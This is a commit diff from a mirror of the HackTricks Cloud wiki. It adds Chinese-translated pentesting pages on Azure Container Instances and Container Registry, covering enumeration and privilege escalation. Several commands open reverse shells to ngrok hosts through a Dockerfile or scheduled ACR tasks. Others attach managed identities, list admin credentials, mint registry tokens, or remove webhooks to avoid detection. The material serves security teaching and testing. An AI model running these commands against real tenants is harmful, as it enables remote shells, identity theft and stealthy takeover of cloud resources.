mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
BIN
src/images/registry_roles.png
Normal file
BIN
src/images/registry_roles.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
这些权限允许用户在运行的容器中**执行命令**。如果容器附加了任何托管身份,这可以用于**提升权限**。当然,也可以访问源代码和存储在容器内的任何其他敏感信息。
|
||||
|
||||
执行`ls`并获取输出是如此简单:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
也可以通过以下方式**读取容器的输出**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
或使用以下命令获取日志:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
这些权限允许**将用户管理的身份**附加到容器组。这对于在容器中提升权限非常有用。
|
||||
|
||||
要将用户管理的身份附加到容器组:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
这些权限允许**创建或更新一个容器组**,并附加一个**用户管理的身份**。这对于在容器中提升权限非常有用。
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
此外,还可以更新现有的容器组,例如添加 **`--command-line` 参数** 以实现反向 shell。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
此权限允许用户列出 ACR 的管理员凭据。这对于**获得对注册表的完全访问**非常有用。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
如果管理员凭据未启用,您还需要权限 `Microsoft.ContainerRegistry/registries/write` 来启用它们:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
这些权限允许用户**创建一个新的令牌**,以访问注册表。
|
||||
|
||||
要使用 `az cli` 生成它,如以下示例所示,您还需要权限 `Microsoft.ContainerRegistry/registries/read`、`Microsoft.ContainerRegistry/registries/scopeMaps/read`、`Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`、`Microsoft.ContainerRegistry/registries/tokens/read`。
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
这些权限允许用户在注册表中**构建和运行映像**。这可以用来**在容器中执行代码**。
|
||||
|
||||
>[!WARNING]
|
||||
> 然而,映像将在**沙箱环境**中执行,并且**无法访问元数据服务**。这意味着容器将无法访问**实例元数据**,因此这实际上对提升权限并没有什么用。
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
这是允许在注册表中创建和更新任务的主要权限。这可以用来**在附加了托管身份的容器内执行代码**。
|
||||
|
||||
这是如何在附加了**系统托管**身份的容器中执行反向 shell 的示例:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
另一种从任务中获取 RCE 而不使用外部存储库的方法是使用 `az acr task create` 命令和 `--cmd` 标志。这将允许您在容器中运行命令。例如,您可以使用以下命令运行反向 shell:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> 请注意,分配系统托管身份时不需要任何特殊权限,但必须在注册表中先启用并分配一些权限,以便其有效。
|
||||
|
||||
要分配**用户托管身份**,您还需要权限`Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`来执行:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
要**更新**现有任务的仓库,您可以执行:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
拥有此权限可以**将图像导入到 Azure 注册表**,即使没有本地图像。但是,请注意,您**无法导入已在注册表中存在的标签的图像**。
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
为了**取消标记或删除特定的镜像标签**,您可以使用以下命令。请注意,您需要具有**足够权限**的用户或令牌才能执行此操作:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Container Instances (ACI) 提供了一种 **无服务器、按需的方式** 在 Azure 云中运行 **容器**。您可以在一个组中 **部署** 单个或多个容器,具有 **可扩展计算**、**网络选项**,以及连接到 **其他 Azure 服务**(如存储、虚拟网络或容器注册表)的灵活性。
|
||||
|
||||
由于它们是 **短暂的** 工作负载,您无需管理底层的 VM 基础设施 — Azure 会为您处理这一切。然而,从 **攻击安全的角度** 来看,了解 **权限**、**身份**、**网络配置** 和 **日志** 如何揭示攻击面和潜在的配置错误是至关重要的。
|
||||
|
||||
### 配置
|
||||
|
||||
- 为了创建一个容器,可以使用公共镜像、来自 Azure 容器注册表的容器镜像或外部存储库,这可能 **需要配置密码** 以访问它。
|
||||
- 关于网络,它也可以具有 **公共 IP** 或 **私有端点**。
|
||||
- 还可以配置常见的 Docker 设置,如:
|
||||
- **环境变量**
|
||||
- **卷**(甚至来自 Azure Files)
|
||||
- **端口**
|
||||
- **CPU 和内存限制**
|
||||
- **重启策略**
|
||||
- **以特权模式运行**
|
||||
- **要运行的命令行**
|
||||
- ...
|
||||
|
||||
## 枚举
|
||||
|
||||
> [!WARNING]
|
||||
> 在枚举 ACI 时,您可能会揭示敏感配置,如 **环境变量**、**网络细节** 或 **托管身份**。请小心记录或显示它们。
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Container Registry (ACR) 是一个安全的私有注册表,允许您 **在 Azure 云中存储、管理和访问容器镜像**。它与多个 Azure 服务无缝集成,提供自动化的构建和部署工作流。通过地理复制和漏洞扫描等功能,ACR 有助于确保容器化应用程序的企业级安全性和合规性。
|
||||
|
||||
### 权限
|
||||
|
||||
这些是 **不同的权限** [根据文档](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) 可以授予容器注册表的权限:
|
||||
|
||||
- 访问资源管理器
|
||||
- 创建/删除注册表
|
||||
- 推送镜像
|
||||
- 拉取镜像
|
||||
- 删除镜像数据
|
||||
- 更改策略
|
||||
- 签名镜像
|
||||
|
||||
还有一些 **内置角色** 可以分配,也可以创建 **自定义角色**。
|
||||
|
||||

|
||||
|
||||
### 认证
|
||||
|
||||
> [!WARNING]
|
||||
> 即使注册表名称包含大写字母,您也应该始终使用 **小写字母** 登录、推送和拉取镜像,这一点非常重要。
|
||||
|
||||
有 4 种方法可以对 ACR 进行身份验证:
|
||||
|
||||
- **使用 Entra ID**:这是对 ACR 进行身份验证的 **默认** 方法。它使用 **`az acr login`** 命令对 ACR 进行身份验证。此命令将 **凭据存储** 在 **`~/.docker/config.json`** 文件中。此外,如果您在没有访问 docker 套接字的环境中运行此命令,例如在 **云终端** 中,可以使用 **`--expose-token`** 标志获取 **令牌** 以对 ACR 进行身份验证。然后,您需要使用用户名 `00000000-0000-0000-0000-000000000000` 进行身份验证,例如:`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **使用管理员帐户**:管理员用户默认是禁用的,但可以启用,然后可以使用管理员帐户的 **用户名** 和 **密码** 访问注册表,具有对注册表的完全权限。这仍然被支持,因为一些 Azure 服务使用它。请注意,为此用户创建了 **2 个密码**,并且两个都是有效的。您可以使用 `az acr update -n <acrName> --admin-enabled true` 启用它。请注意,用户名通常是注册表名称(而不是 `admin`)。
|
||||
- **使用令牌**:可以创建一个具有 **特定 `scope map`**(权限)的 **令牌** 来访问注册表。然后,可以使用此令牌名称作为用户名和一些生成的密码通过 `docker login -u <registry-name> -p <password> aregistry-url>` 对注册表进行身份验证。
|
||||
- **使用服务主体**:可以创建一个 **服务主体** 并分配一个角色,例如 **`AcrPull`** 来拉取镜像。然后,可以使用 SP appId 作为用户名和生成的密钥作为密码 **登录注册表**。
|
||||
|
||||
来自 [文档](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 的示例脚本,用于生成具有注册表访问权限的 SP:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### 加密
|
||||
|
||||
只有 **Premium SKU** 支持 **静态加密** 图像和其他工件。
|
||||
|
||||
### 网络
|
||||
|
||||
只有 **Premium SKU** 支持 **私有端点**。其他 SKU 仅支持 **公共访问**。公共端点的格式为 `<registry-name>.azurecr.io`,而私有端点的格式为 `<registry-name>.privatelink.azurecr.io`。因此,注册表的名称在所有 Azure 中必须是唯一的。
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
这允许您 **扫描注册表中的图像** 以查找 **漏洞**。
|
||||
|
||||
### 软删除
|
||||
|
||||
**软删除** 功能允许您在指定的天数内 **恢复已删除的注册表**。此功能 **默认情况下是禁用的**。
|
||||
|
||||
### Webhooks
|
||||
|
||||
可以在注册表中 **创建 Webhooks**。在此 Webhook 中,需要指定一个 URL,以便在执行 **推送或删除操作时发送请求**。此外,Webhooks 可以指示一个范围,以指示将受到影响的存储库(图像)。例如,'foo:*' 表示存储库 'foo' 下的事件。
|
||||
|
||||
从攻击者的角度来看,在注册表中 **执行任何操作之前** 检查这一点是很有趣的,并在需要时暂时删除它,以避免被检测到。
|
||||
|
||||
### 连接的注册表
|
||||
|
||||
这基本上允许 **将图像镜像** 从一个注册表到另一个注册表,通常位于本地。
|
||||
|
||||
它有 2 种模式:**只读** 和 **读写**。在第一种模式中,图像仅从源注册表 **拉取**,而在第二种模式中,图像也可以 **推送** 到源注册表。
|
||||
|
||||
为了让客户端从 Azure 访问注册表,使用连接的注册表时会生成一个 **令牌**。
|
||||
|
||||
### 运行与任务
|
||||
|
||||
运行与任务允许在 Azure 中执行与容器相关的操作,这些操作通常需要在本地或 CI/CD 管道中完成。例如,您可以 **构建、推送和运行注册表中的图像**。
|
||||
|
||||
构建和运行容器的最简单方法是使用常规运行:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
然而,这将触发从攻击者的角度来看并不太有趣的运行,因为它们没有附加任何托管身份。
|
||||
|
||||
然而,**任务**可以附加**系统和用户托管身份**。这些任务是用于**提升权限**的。在权限提升部分,可以看到如何使用任务来提升权限。
|
||||
|
||||
### 缓存
|
||||
|
||||
缓存功能允许**从外部存储库下载镜像**并将新版本存储在注册表中。它需要通过从 Azure Vault 选择凭据来配置一些**凭据**。
|
||||
|
||||
从攻击者的角度来看,这非常有趣,因为它允许**转向外部平台**,如果攻击者有足够的权限访问凭据,**从外部存储库下载镜像**并配置缓存也可以用作**持久性机制**。
|
||||
|
||||
## 枚举
|
||||
|
||||
> [!WARNING]
|
||||
> 即使注册表名称包含一些大写字母,您也应该仅在访问时使用小写字母的 URL。
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## 权限提升与后期利用
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user